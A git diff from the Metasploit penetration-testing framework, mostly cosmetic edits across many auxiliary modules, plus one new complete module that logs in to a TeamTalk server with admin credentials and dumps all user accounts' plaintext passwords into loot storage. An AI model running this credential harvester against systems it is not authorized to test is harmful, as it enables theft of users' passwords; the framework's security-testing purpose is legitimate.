diff --git a/modules/auxiliary/gather/shodan_search.rb b/modules/auxiliary/gather/shodan_search.rb
index 94a4e57d19..5ff04d17d4 100644
--- a/modules/auxiliary/gather/shodan_search.rb
+++ b/modules/auxiliary/gather/shodan_search.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'net/https'
 require 'uri'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
@@ -16,7 +15,7 @@ class MetasploitModule < Msf::Auxiliary
       'Name' => 'Shodan Search',
       'Description' => %q{
         This module uses the Shodan API to search Shodan. Accounts are free
-        and an API key is required to used this module. Output from the module
+        and an API key is required to use this module. Output from the module
         is displayed to the screen and can be saved to a file or the MSF database.
         NOTE: SHODAN filters (i.e. port, hostname, os, geo, city) can be used in
         queries, but there are limitations when used with a free API key. Please
diff --git a/modules/auxiliary/gather/snare_registry.rb b/modules/auxiliary/gather/snare_registry.rb
index 3cff87c04c..adc1af194e 100644
--- a/modules/auxiliary/gather/snare_registry.rb
+++ b/modules/auxiliary/gather/snare_registry.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/gather/solarwinds_orion_sqli.rb b/modules/auxiliary/gather/solarwinds_orion_sqli.rb
index 33df6b8f71..45fb306fc7 100644
--- a/modules/auxiliary/gather/solarwinds_orion_sqli.rb
+++ b/modules/auxiliary/gather/solarwinds_orion_sqli.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
diff --git a/modules/auxiliary/gather/ssllabs_scan.rb b/modules/auxiliary/gather/ssllabs_scan.rb
index 5e46a8aa4a..01d7eefbc7 100644
--- a/modules/auxiliary/gather/ssllabs_scan.rb
+++ b/modules/auxiliary/gather/ssllabs_scan.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/gather/teamtalk_creds.rb b/modules/auxiliary/gather/teamtalk_creds.rb
new file mode 100644
index 0000000000..44e12fb942
--- /dev/null
+++ b/modules/auxiliary/gather/teamtalk_creds.rb
@@ -0,0 +1,177 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'        => 'TeamTalk Gather Credentials',
+      'Description' => %q{
+        This module retrieves user credentials from BearWare TeamTalk.
+
+        Valid administrator credentials are required.
+
+        This module has been tested successfully on TeamTalk versions
+        5.2.2.4885 and 5.2.3.4893.
+      },
+      'Author'      => 'Brendan Coles <bcoles[at]gmail.com>',
+      'References'  =>
+        [
+          # Protocol documentation
+          ['URL', 'https://github.com/BearWare/TeamTalk5/blob/master/ttphpadmin/tt5admin.php']
+        ],
+      'License'     => MSF_LICENSE))
+    register_options [
+      Opt::RPORT(10333),
+      OptString.new('USERNAME', [false, 'The username for TeamTalk', 'admin']),
+      OptString.new('PASSWORD', [false, 'The password for the specified username', 'admin'])
+    ]
+  end
+
+  def run
+    vprint_status 'Connecting...'
+
+    connect
+    banner = sock.get_once
+
+    unless banner =~ /^teamtalk\s.*protocol="([\d\.]+)"/
+      fail_with Failure::BadConfig, 'TeamTalk does not appear to be running'
+    end
+
+    print_status "Found TeamTalk (protocol version #{$1})"
+
+    report_service :host  => rhost,
+                   :port  => rport,
+                   :proto => 'tcp',
+                   :name  => 'teamtalk'
+
+    vprint_status "Authenticating as '#{username}'"
+
+    req = "login username=\"#{username.tr('"', '\"')}\" password=\"#{password.tr('"', '\"')}\""
+    res = send_command req
+
+    unless res.to_s.starts_with? 'accepted'
+      fail_with Failure::NoAccess, 'Authentication failed'
+    end
+
+    print_good 'Authenticated successfully'
+
+    if res =~ /usertype=2/
+      print_good 'User is an administrator'
+    else
+      print_warning 'User is not an administrator'
+    end
+
+    vprint_status "Retrieving users..."
+
+    res = send_command 'listaccounts'
+
+    if res =~ /^error/ && res =~ /message="Command not authorized"/
+      print_error 'Insufficient privileges'
+      return
+    end
+
+    unless res =~ /^ok\r?\n?\z/
+      print_error 'Unexpected reply'
+      return
+    end
+
+    cred_table = Rex::Text::Table.new 'Header'  => 'TeamTalk User Credentials',
+                                      'Indent'  => 1,
+                                      'Columns' => ['Username', 'Password', 'Type']
+
+    res.each_line do |line|
+      line.chomp!
+      next unless line =~ /^useraccount/
+
+      user = line.scan(/\s+username="(.*?)"\s+password=/).flatten.first.to_s.gsub('\"', '"')
+      pass = line.scan(/\s+password="(.*?)"\s+usertype=/).flatten.first.to_s.gsub('\"', '"')
+      type = line.scan(/\s+usertype=(\d+)\s+/).flatten.first
+
+      cred_table << [ user, pass, type ]
+      report_cred user:     user,
+                  password: pass,
+                  type:     type,
+                  proof:    line
+    end
+
+    if cred_table.rows.empty?
+      print_error 'Did not find any users'
+      return
+    end
+
+    print_status "Found #{cred_table.rows.size} users"
+    print_line
+    print_line cred_table.to_s
+
+    p = store_loot 'teamtalk.user.creds',
+                   'text/csv',
+                   rhost,
+                   cred_table.to_csv,
+                   'TeamTalk User Credentials'
+
+    print_good "Credentials saved in: #{p}"
+  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
+    print_error e.message
+  ensure
+    disconnect
+  end
+
+  private
+
+  def username
+    datastore['USERNAME'] || ''
+  end
+
+  def password
+    datastore['PASSWORD'] || ''
+  end
+
+  def report_cred(opts)
+    service_data = {
+      address:      rhost,
+      port:         rport,
+      service_name: 'teamtalk',
+      protocol:     'tcp',
+      workspace_id: myworkspace_id
+    }
+
+    credential_data = {
+      origin_type:     :service,
+      module_fullname: fullname,
+      username:        opts[:user],
+      private_data:    opts[:password],
+      private_type:    :password
+    }.merge service_data
+
+    login_data = {
+      core:              create_credential(credential_data),
+      status:            Metasploit::Model::Login::Status::UNTRIED,
+      access_level:      opts[:type],
+      proof:             opts[:proof]
+    }.merge service_data
+
+    create_credential_login login_data
+  end
+
+  def send_command(cmd = '')
+    cmd_id = rand(1000)
+    sock.put "#{cmd} id=#{cmd_id}\n"
+
+    res = ''
+    timeout = 15
+    Timeout.timeout(timeout) do
+      res << sock.get_once until res =~ /^end id=#{cmd_id}/
+    end
+
+    res.to_s.scan(/begin id=#{cmd_id}\r?\n(.*)\r?\nend id=#{cmd_id}/m).flatten.first
+  rescue Timeout::Error
+    print_error "Timeout (#{timeout} seconds)"
+  rescue => e
+    print_error e.message
+  end
+end
diff --git a/modules/auxiliary/gather/trackit_sql_domain_creds.rb b/modules/auxiliary/gather/trackit_sql_domain_creds.rb
index cb25f2d1d7..63143446bc 100644
--- a/modules/auxiliary/gather/trackit_sql_domain_creds.rb
+++ b/modules/auxiliary/gather/trackit_sql_domain_creds.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'openssl'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Report
 
diff --git a/modules/auxiliary/gather/vbulletin_vote_sqli.rb b/modules/auxiliary/gather/vbulletin_vote_sqli.rb
index ea0150c9a9..70f93ccc30 100644
--- a/modules/auxiliary/gather/vbulletin_vote_sqli.rb
+++ b/modules/auxiliary/gather/vbulletin_vote_sqli.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
 
diff --git a/modules/auxiliary/gather/windows_deployment_services_shares.rb b/modules/auxiliary/gather/windows_deployment_services_shares.rb
index 02c8572cc1..21b2c3a274 100644
--- a/modules/auxiliary/gather/windows_deployment_services_shares.rb
+++ b/modules/auxiliary/gather/windows_deployment_services_shares.rb
@@ -1,5 +1,5 @@
-#
-# This module requires Metasploit: http://metasploit.com/download
+##
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'rex/proto/dcerpc'
 require 'rex/parser/unattend'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SMB::Client
   include Msf::Exploit::Remote::SMB::Client::Authenticated
   include Msf::Exploit::Remote::DCERPC
@@ -21,7 +20,7 @@ class MetasploitModule < Msf::Auxiliary
       'Description'    => %q{
           This module will search remote file shares for unattended installation files that may contain
           domain credentials. This is often used after discovering domain credentials with the
-          auxilliary/scanner/dcerpc/windows_deployment_services module or in cases where you already
+          auxiliary/scanner/dcerpc/windows_deployment_services module or in cases where you already
           have domain credentials. This module will connect to the RemInst share and any Microsoft
           Deployment Toolkit shares indicated by the share name comments.
       },
@@ -237,7 +236,7 @@ class MetasploitModule < Msf::Auxiliary
   def loot_unattend(data)
     return if data.empty?
     path = store_loot('windows.unattend.raw', 'text/plain', rhost, data, "Windows Deployment Services")
-    print_status("Stored unattend.xml in #{path}")
+    print_good("Stored unattend.xml in #{path}")
   end
 
   def report_creds(domain, user, pass)
@@ -250,6 +249,5 @@ class MetasploitModule < Msf::Auxiliary
       proof: domain
     )
   end
-
 end
 
diff --git a/modules/auxiliary/gather/wp_all_in_one_migration_export.rb b/modules/auxiliary/gather/wp_all_in_one_migration_export.rb
index 52732b8c6e..39e806e03c 100644
--- a/modules/auxiliary/gather/wp_all_in_one_migration_export.rb
+++ b/modules/auxiliary/gather/wp_all_in_one_migration_export.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://www.metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb b/modules/auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb
index 6a180aac2b..6a5ed82bc1 100644
--- a/modules/auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb
+++ b/modules/auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://www.metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb
index 5299a4df4b..841ba2f2d1 100644
--- a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb
+++ b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,9 +13,9 @@ class MetasploitModule < Msf::Auxiliary
       'Name'          => 'WordPress W3-Total-Cache Plugin 0.9.2.4 (or before) Username and Hash Extract',
       'Description'   =>
         "The W3-Total-Cache Wordpress Plugin <= 0.9.2.4 can cache database statements
-        and it's results in files for fast access. Version 0.9.2.4 has been fixed afterwards
+        and its results in files for fast access. Version 0.9.2.4 has been fixed afterwards
         so it can be vulnerable. These cache files are in the webroot of the Wordpress
-        installation and can be downloaded if the name is guessed. This modules tries to
+        installation and can be downloaded if the name is guessed. This module tries to
         locate them with brute force in order to find usernames and password hashes in these
         files. W3 Total Cache must be configured with Database Cache enabled and Database
         Cache Method set to Disk to be vulnerable",
diff --git a/modules/auxiliary/gather/xbmc_traversal.rb b/modules/auxiliary/gather/xbmc_traversal.rb
index 4ec8fe9198..bb16f96c17 100644
--- a/modules/auxiliary/gather/xbmc_traversal.rb
+++ b/modules/auxiliary/gather/xbmc_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
 
diff --git a/modules/auxiliary/gather/xerox_pwd_extract.rb b/modules/auxiliary/gather/xerox_pwd_extract.rb
index bb586fba73..26c0e53063 100644
--- a/modules/auxiliary/gather/xerox_pwd_extract.rb
+++ b/modules/auxiliary/gather/xerox_pwd_extract.rb
@@ -1,10 +1,9 @@
-#
-# This module requires Metasploit: http://metasploit.com/download
+##
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Report
 
@@ -53,7 +52,7 @@ class MetasploitModule < Msf::Auxiliary
       loot_filename = 'xerox_password.text'
       loot_desc     = 'Xerox password harvester'
       p = store_loot(loot_name, loot_type, datastore['RHOST'], passwd, loot_filename, loot_desc)
-      print_status("#{rhost}:#{jport} - Credentials saved in: #{p}")
+      print_good("#{rhost}:#{jport} - Credentials saved in: #{p}")
 
       register_creds('Xerox-HTTP', rhost, rport, 'Admin', passwd)
 
diff --git a/modules/auxiliary/gather/xerox_workcentre_5xxx_ldap.rb b/modules/auxiliary/gather/xerox_workcentre_5xxx_ldap.rb
index d782869d5f..18537a27c9 100644
--- a/modules/auxiliary/gather/xerox_workcentre_5xxx_ldap.rb
+++ b/modules/auxiliary/gather/xerox_workcentre_5xxx_ldap.rb
@@ -1,9 +1,10 @@
-#
-# This module requires Metasploit: http://metasploit.com/download
+##
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
+
 class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient
   include Msf::Exploit::Remote::TcpServer
@@ -75,7 +76,7 @@ class MetasploitModule < Msf::Auxiliary
     loot_filename = 'ldap-creds.text'
     loot_desc     = 'LDAP Pass-back Harvester'
     p = store_loot(loot_name, loot_type, datastore['RHOST'], @data, loot_filename, loot_desc)
-    print_status("Credentials saved in: #{p}")
+    print_good("Credentials saved in: #{p}")
 
     register_creds('ldap', rhost, @ldap_port, ldap_binary_creds[0], ldap_binary_creds[1])
   end
@@ -263,7 +264,7 @@ class MetasploitModule < Msf::Auxiliary
       }, datastore['TIMEOUT'].to_i)
 
     rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
-      print_error("Connection failed.")
+      print_error("Connection failed")
     end
 
     res
diff --git a/modules/auxiliary/gather/zabbix_toggleids_sqli.rb b/modules/auxiliary/gather/zabbix_toggleids_sqli.rb
index 62d4bfbc75..fd6e9f4389 100644
--- a/modules/auxiliary/gather/zabbix_toggleids_sqli.rb
+++ b/modules/auxiliary/gather/zabbix_toggleids_sqli.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
 
diff --git a/modules/auxiliary/gather/zoomeye_search.rb b/modules/auxiliary/gather/zoomeye_search.rb
index 35be6e0b91..6b570441ba 100644
--- a/modules/auxiliary/gather/zoomeye_search.rb
+++ b/modules/auxiliary/gather/zoomeye_search.rb
@@ -1,13 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rex/proto/http'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
 
 
@@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary
         [
           OptString.new('USERNAME', [true, 'The ZoomEye username']),
           OptString.new('PASSWORD', [true, 'The ZoomEye password']),
-          OptString.new('ZOOMEYE_DORK', [true, 'The ZoomEye Dock']),
+          OptString.new('ZOOMEYE_DORK', [true, 'The ZoomEye dork']),
           OptEnum.new('RESOURCE', [true, 'ZoomEye Resource Type', 'host', ['host', 'web']]),
           OptInt.new('MAXPAGE', [true, 'Max amount of pages to collect', 1])
         ])
diff --git a/modules/auxiliary/parser/unattend.rb b/modules/auxiliary/parser/unattend.rb
index 1c0a25db36..ec15329fdf 100644
--- a/modules/auxiliary/parser/unattend.rb
+++ b/modules/auxiliary/parser/unattend.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/pdf/foxit/authbypass.rb b/modules/auxiliary/pdf/foxit/authbypass.rb
index b6dd1b42e9..49c1f84458 100644
--- a/modules/auxiliary/pdf/foxit/authbypass.rb
+++ b/modules/auxiliary/pdf/foxit/authbypass.rb
@@ -1,21 +1,20 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'zlib'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::FILEFORMAT
 
   def initialize(info = {})
     super(update_info(info,
       'Name'           => 'Foxit Reader Authorization Bypass',
       'Description'    => %q{
-          This module exploits a authorization bypass vulnerability in Foxit Reader
-        build 1120. When a attacker creates a specially crafted pdf file containing
-        a Open/Execute action, arbitrary commands can be executed without confirmation
+          This module exploits an authorization bypass vulnerability in Foxit Reader
+        build 1120. When an attacker creates a specially crafted pdf file containing
+        an Open/Execute action, arbitrary commands can be executed without confirmation
         from the victim.
       },
       'License'        => MSF_LICENSE,
@@ -111,5 +110,4 @@ class MetasploitModule < Msf::Auxiliary
     pdf << "%%EOF" << eol
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/acpp/login.rb b/modules/auxiliary/scanner/acpp/login.rb
index d5725b3fc6..98fec3ac4d 100644
--- a/modules/auxiliary/scanner/acpp/login.rb
+++ b/modules/auxiliary/scanner/acpp/login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -92,7 +92,7 @@ class MetasploitModule < Msf::Auxiliary
         credential_core = create_credential(credential_data)
         credential_data[:core] = credential_core
         create_credential_login(credential_data)
-        print_good("#{ip}:#{rport} - ACPP LOGIN SUCCESSFUL: #{password}")
+        print_good("#{ip}:#{rport} - ACPP Login Successful: #{password}")
         report_vuln(
           host: ip,
           port: rport,
diff --git a/modules/auxiliary/scanner/afp/afp_login.rb b/modules/auxiliary/scanner/afp/afp_login.rb
index 6a810b66f9..802d5c0427 100644
--- a/modules/auxiliary/scanner/afp/afp_login.rb
+++ b/modules/auxiliary/scanner/afp/afp_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -8,7 +8,6 @@ require 'metasploit/framework/credential_collection'
 require 'metasploit/framework/login_scanner/afp'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::AuthBrute
@@ -87,7 +86,7 @@ class MetasploitModule < Msf::Auxiliary
         credential_data[:core] = credential_core
         create_credential_login(credential_data)
 
-        print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
+        print_good "#{ip}:#{rport} - Login Successful: #{result.credential}"
       else
         invalidate_login(credential_data)
         vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
diff --git a/modules/auxiliary/scanner/afp/afp_server_info.rb b/modules/auxiliary/scanner/afp/afp_server_info.rb
index 49a229d04e..8857d049f2 100644
--- a/modules/auxiliary/scanner/afp/afp_server_info.rb
+++ b/modules/auxiliary/scanner/afp/afp_server_info.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
   include Msf::Exploit::Remote::AFP
diff --git a/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb b/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb
index d0d069d51a..1d269845d7 100644
--- a/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb
+++ b/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -95,7 +94,7 @@ class MetasploitModule < Msf::Auxiliary
     # Required to prevent the server from spinning a loop
     sock.put(trojan_command(:nop))
 
-    print_status("#{ip}:#{rport} FOUND: #{files.inspect}")
+    print_good("#{ip}:#{rport} FOUND: #{files.inspect}")
     # Add Vulnerability and Report
     report_vuln({
       :host  => ip,
diff --git a/modules/auxiliary/scanner/chargen/chargen_probe.rb b/modules/auxiliary/scanner/chargen/chargen_probe.rb
index 3a72bac98c..a24c7071e9 100644
--- a/modules/auxiliary/scanner/chargen/chargen_probe.rb
+++ b/modules/auxiliary/scanner/chargen/chargen_probe.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Scanner
   include Msf::Exploit::Capture
   include Msf::Auxiliary::Report
diff --git a/modules/auxiliary/scanner/couchdb/couchdb_enum.rb b/modules/auxiliary/scanner/couchdb/couchdb_enum.rb
index 53448ff230..3fb9c8bd36 100644
--- a/modules/auxiliary/scanner/couchdb/couchdb_enum.rb
+++ b/modules/auxiliary/scanner/couchdb/couchdb_enum.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
diff --git a/modules/auxiliary/scanner/couchdb/couchdb_login.rb b/modules/auxiliary/scanner/couchdb/couchdb_login.rb
index 6bb3c0039d..107bdf1a16 100644
--- a/modules/auxiliary/scanner/couchdb/couchdb_login.rb
+++ b/modules/auxiliary/scanner/couchdb/couchdb_login.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
diff --git a/modules/auxiliary/scanner/db2/db2_auth.rb b/modules/auxiliary/scanner/db2/db2_auth.rb
index dd63954eab..735eb6d8fc 100644
--- a/modules/auxiliary/scanner/db2/db2_auth.rb
+++ b/modules/auxiliary/scanner/db2/db2_auth.rb
@@ -1,14 +1,12 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'metasploit/framework/credential_collection'
 require 'metasploit/framework/login_scanner/db2'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::DB2
   include Msf::Auxiliary::AuthBrute
   include Msf::Auxiliary::Scanner
@@ -85,12 +83,11 @@ class MetasploitModule < Msf::Auxiliary
         credential_data[:core] = credential_core
         create_credential_login(credential_data)
 
-        print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
+        print_good "#{ip}:#{rport} - Login Successful: #{result.credential}"
       else
         invalidate_login(credential_data)
         vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
       end
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/db2/db2_version.rb b/modules/auxiliary/scanner/db2/db2_version.rb
index be8b87446c..f315312cde 100644
--- a/modules/auxiliary/scanner/db2/db2_version.rb
+++ b/modules/auxiliary/scanner/db2/db2_version.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::DB2
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -38,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary
       if info[:excsatrd]
         inst,plat,ver,pta = info[:instance_name],info[:platform],info[:version],info[:plaintext_auth]
         report_info = "Platform: #{plat}, Version: #{ver}, Instance: #{inst}, Plain-Authentication: #{pta ? "OK" : "NO"}"
-        print_status("#{ip}:#{rport} DB2 - #{report_info}")
+        print_good("#{ip}:#{rport} DB2 - #{report_info}")
         report_service(
           :host => rhost,
           :port => rport,
diff --git a/modules/auxiliary/scanner/db2/discovery.rb b/modules/auxiliary/scanner/db2/discovery.rb
index 1edaf9cbf6..04e5e32d49 100644
--- a/modules/auxiliary/scanner/db2/discovery.rb
+++ b/modules/auxiliary/scanner/db2/discovery.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
   include Msf::Exploit::Remote::Udp
@@ -55,7 +54,7 @@ class MetasploitModule < Msf::Auxiliary
         :info => "#{res[2]}_#{res[1]}"
       )
 
-      print_status("Host #{ip} node name is " + res[2] + " with a product id of " + res[1] )
+      print_good("Host #{ip} node name is " + res[2] + " with a product id of " + res[1] )
 
     rescue ::Rex::ConnectionError
     rescue ::Errno::EPIPE
diff --git a/modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb b/modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb
index 7d3522708a..e1326f8ce9 100644
--- a/modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb
+++ b/modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
 
   # Exploit mixins should be called first
diff --git a/modules/auxiliary/scanner/dcerpc/hidden.rb b/modules/auxiliary/scanner/dcerpc/hidden.rb
index 72aa9548b2..3aba28b71b 100644
--- a/modules/auxiliary/scanner/dcerpc/hidden.rb
+++ b/modules/auxiliary/scanner/dcerpc/hidden.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
 
   # Exploit mixins should be called first
diff --git a/modules/auxiliary/scanner/dcerpc/management.rb b/modules/auxiliary/scanner/dcerpc/management.rb
index 318325a54d..2e1b74ce5d 100644
--- a/modules/auxiliary/scanner/dcerpc/management.rb
+++ b/modules/auxiliary/scanner/dcerpc/management.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
 
   # Exploit mixins should be called first
@@ -86,5 +84,4 @@ class MetasploitModule < Msf::Auxiliary
       print_error("Error: #{e}")
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb b/modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb
index 89f8fab52e..decce829f0 100644
--- a/modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb
+++ b/modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
 
